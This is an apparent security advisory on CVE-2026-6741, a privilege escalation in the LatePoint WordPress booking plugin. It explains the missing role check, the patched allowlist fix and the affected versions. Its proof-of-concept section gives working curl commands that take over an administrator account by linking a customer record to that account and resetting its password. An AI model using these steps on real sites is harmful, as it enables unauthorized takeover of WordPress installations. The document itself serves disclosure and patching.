Introduction
A missing authorization check in the LatePoint WordPress booking plugin lets any user with the latepoint_agent role link a customer record to an administrator's account and then reset the admin's password. The result is a clean privilege escalation to full site control. With over 100,000 active installations, this flaw (CVE-2026-6741, CVSS 8.8) puts a large number of WordPress sites at risk.
LatePoint is a calendar booking and appointment scheduling plugin for WordPress, developed by LatePoint LLC. It targets service businesses such as salons, photographers, and auto detailing shops, and provides booking interfaces and customer management. Both the vendor and the WordPress plugin repository report more than 100,000 active installations.
Technical Information
Root cause: missing role verification in the Abilities API
The vulnerability lives in lib/abilities/customers/connect-customer-to-wp-user.php, in the execute() method of the connect-customer-to-wp-user ability. This ability is registered through the WordPress Abilities API (introduced in WordPress 6.9+) and links a LatePoint customer record to a WordPress user account.
The vulnerable code in version 5.4.1 checks that the target WordPress user exists, but never inspects what roles that user holds:
// v5.4.1 (VULNERABLE) public function execute( array $args ) { $customer = new OsCustomerModel( (int) $args['customer_id'] ); if ( $customer->is_new_record() ) { return new WP_Error( 'not_found', ... ); } $wp_user_id = (int) $args['wp_user_id']; if ( ! get_userdata( $wp_user_id ) ) { // Only checks: does the user exist? // MISSING: does the user have a non-privileged role? return new WP_Error( 'wp_user_not_found', ... ); } $customer->wordpress_user_id = $wp_user_id; // links customer to any WP user $customer->save(); return $this->serialize_customer( ... ); }
The omission is the whole bug. get_userdata() confirms the user exists, but the code throws away the returned user object and never looks at its roles property. It then assigns $wp_user_id to the customer record and saves it.
Why the default role configuration matters
Executing this ability requires only the customer__edit capability. As defined in lib/helpers/roles_helper.php, the latepoint_agent role is granted customer__edit by default. So any authenticated user with the agent role, a role meant for staff who manage bookings, already holds the exact permission needed to trigger the vulnerable method.
Attack flow
The exploitation path is straightforward and needs no user interaction:
- Authenticate as an agent. The attacker needs a WordPress account with the
latepoint_agentrole. This could be a legitimate staff account or one obtained through other means. - Identify the target. The attacker finds the WordPress user ID of an administrator. This is commonly
1for the first admin account, and it is also discoverable through the WordPress REST API endpoint/wp-json/wp/v2/users. - Link a customer record to the admin. The attacker calls the
connect-customer-to-wp-userability endpoint with acustomer_idthey control and the administrator'swp_user_id. The ability runs because the agent hascustomer__editand the code never checks the target user's role. - Reset the password. The attacker starts LatePoint's customer password reset flow using the email tied to the customer record they control. LatePoint sends a reset token to the attacker's email.
- Overwrite the admin password. The attacker completes the reset. LatePoint's
update_password()method callswp_set_password()on thewordpress_user_idfield of the customer record, which now points to the administrator. The admin's password is overwritten with the attacker's chosen value. - Log in as administrator. The attacker signs in with the new password and has full administrative access to the site.
Proof of Concept
A public proof of concept for CVE-2026-6741 is documented in a detailed blog post by Abu Hurayra and corroborated by the Wordfence advisory. The reproduction steps below are drawn from those sources.
Prerequisites:
- WordPress 6.9+ with LatePoint plugin version 5.4.1 or earlier installed and activated.
- An attacker account with the
latepoint_agentWordPress role. - The WordPress Abilities API enabled (default in 5.4.1).
- Knowledge of the target admin's WordPress user ID (commonly
1; also discoverable via/wp-json/wp/v2/users).
Step 1: Authenticate as agent and obtain a REST API nonce.
WP_URL="https://target.example.com" AGENT_USER="agent_user" AGENT_PASS="agent_password" curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \ -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \ -H "Cookie: wordpress_test_cookie=WP+Cookie+check" NONCE=$(curl -s -b cookies.txt "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce" 2>/dev/null) echo "Nonce: $NONCE"
Step 2: Identify a LatePoint customer record you control (create one through the booking form if needed). Note its customer_id.
CUSTOMER_ID=5
Step 3: Link the customer record to the administrator's WordPress user through the vulnerable ability endpoint.
ADMIN_WP_USER_ID=1 curl -s -b cookies.txt -X POST \ "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \ -H "Content-Type: application/json" \ -H "X-WP-Nonce: $NONCE" \ -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"
A successful response returns the customer record with "wp_user_id": 1.
Step 4: Trigger a password reset for the LatePoint customer using the attacker-controlled email.
CUSTOMER_EMAIL="[email protected]" curl -s -X POST "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "password_reset_email=$CUSTOMER_EMAIL"
LatePoint sends a password reset email containing an account_nonse token to $CUSTOMER_EMAIL.
Step 5: Complete the password reset with a new password (using the token from the email).
RESET_TOKEN="<token_from_email>" NEW_PASSWORD="Attacker_Password123!" curl -s -X POST "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
This calls $customer->update_password(), which runs wp_set_password($NEW_PASSWORD, 1), overwriting the administrator's WordPress password.
Step 6: Log in as the WordPress administrator.
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST "$WP_URL/wp-login.php" \ -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \ -H "Cookie: wordpress_test_cookie=WP+Cookie+check"
Verification:
curl -s "$WP_URL/wp-json/wp/v2/users/me" \ -H "X-WP-Nonce: $(curl -s -b admin_cookies.txt $WP_URL/wp-admin/admin-ajax.php?action=rest-nonce)" # Expected: "roles": ["administrator"]
Patch Information
The vulnerability was fixed in LatePoint version 5.4.2, released on April 24, 2026. The patch is a targeted code change inside lib/abilities/customers/connect-customer-to-wp-user.php.
The patched execute() method adds a role-based allowlist check before any linking happens:
// v5.4.2 (PATCHED) $wp_user_id = (int) $args['wp_user_id']; $target_user = get_userdata( $wp_user_id ); if ( ! $target_user ) { return new WP_Error( 'wp_user_not_found', ... ); } // Only allow linking to non-privileged WP accounts using an allowlist of roles. $allowed_roles = [ LATEPOINT_WP_CUSTOMER_ROLE, 'subscriber', 'customer' ]; $user_roles = (array) $target_user->roles; if ( empty( $user_roles ) || ! empty( array_diff( $user_roles, $allowed_roles ) ) ) { return new WP_Error( 'privileged_user', __( 'Cannot link a customer to a privileged WordPress account.', 'latepoint' ), [ 'status' => 403 ] ); } $customer->wordpress_user_id = $wp_user_id; $customer->save();
The fix adds three defense layers:
- Storing the user object. The return value of
get_userdata()is now captured in$target_user, so the user object is available for role inspection instead of being discarded after the existence check. - Defining a strict allowlist. An explicit array of allowed roles (
LATEPOINT_WP_CUSTOMER_ROLE,subscriber,customer) is defined. These are non-privileged roles appropriate for customer accounts. Any role not in this list, such asadministrator,editor, orshop_manager, is treated as privileged. - Performing an
array_diff()check. The code computesarray_diff($user_roles, $allowed_roles). If the target user holds any role outside the allowlist, or has no roles at all, the operation is blocked with a403 Forbiddenresponse and the error codeprivileged_user.
This is positive security modeling in action. Rather than blacklisting dangerous roles, which is fragile because custom roles or other plugins can introduce new privileged ones, the patch enumerates which roles are safe and denies everything else by default. Even if a site adds a custom high-privilege role, the ability refuses to link to those accounts.
Version 5.4.2 also disables the Abilities API by default behind a filter (latepoint_enable_abilities), which adds a second layer of defense.
Affected Systems and Versions
| Plugin Version | Security Status | Recommended Action |
|---|---|---|
| 5.4.1 and all earlier versions | Vulnerable to CVE-2026-6741 | Immediate upgrade required |
| 5.4.2 (released April 24, 2026) | Patched | Safe to use |
| 5.5.0 (released April 27, 2026) | Patched | Optimal target version |
The vulnerability requires:
- WordPress 6.9 or later (for the Abilities API)
- LatePoint plugin version 5.4.1 or earlier, installed and activated
- At least one account with the
latepoint_agentrole - The WordPress Abilities API enabled (default in affected versions)
Vendor Security History
LatePoint LLC maintains an active update cadence with a recent focus on security hardening. The plugin's changelog shows multiple security updates across March and April 2026. Versions 5.3.1, 5.4.0, 5.4.1, and 5.4.2 all contain notes about security bugs they addressed, with explicit credit to Wordfence for reporting them. Earlier versions such as 5.2.10 and 5.2.11 also include notes about strengthening plugin security and hardening against potential vulnerabilities. The plugin has had a series of security issues, but the vendor responds quickly to responsible disclosure and ships patches fast. For CVE-2026-6741, version 5.4.2 followed disclosure promptly.
References
- NVD Entry for CVE-2026-6741
- CVE-2026-6741 on MITRE
- Wordfence Threat Intel Advisory
- Wordfence Advisory (alternate link)
- Abu Hurayra Blog Post: Agent Privilege Escalation in LatePoint
- Vulnerable Source: connect-customer-to-wp-user.php (v5.4.1, Trac)
- Vulnerable Source: connect-customer-to-wp-user.php (v5.4.1, SVN)
- Patched Source: connect-customer-to-wp-user.php (v5.4.2, SVN)
- roles_helper.php (v5.4.1)
- customer_model.php (v5.4.1)
- Changeset 3514330
- LatePoint on WordPress.org
- LatePoint v5.4.2 readme.txt



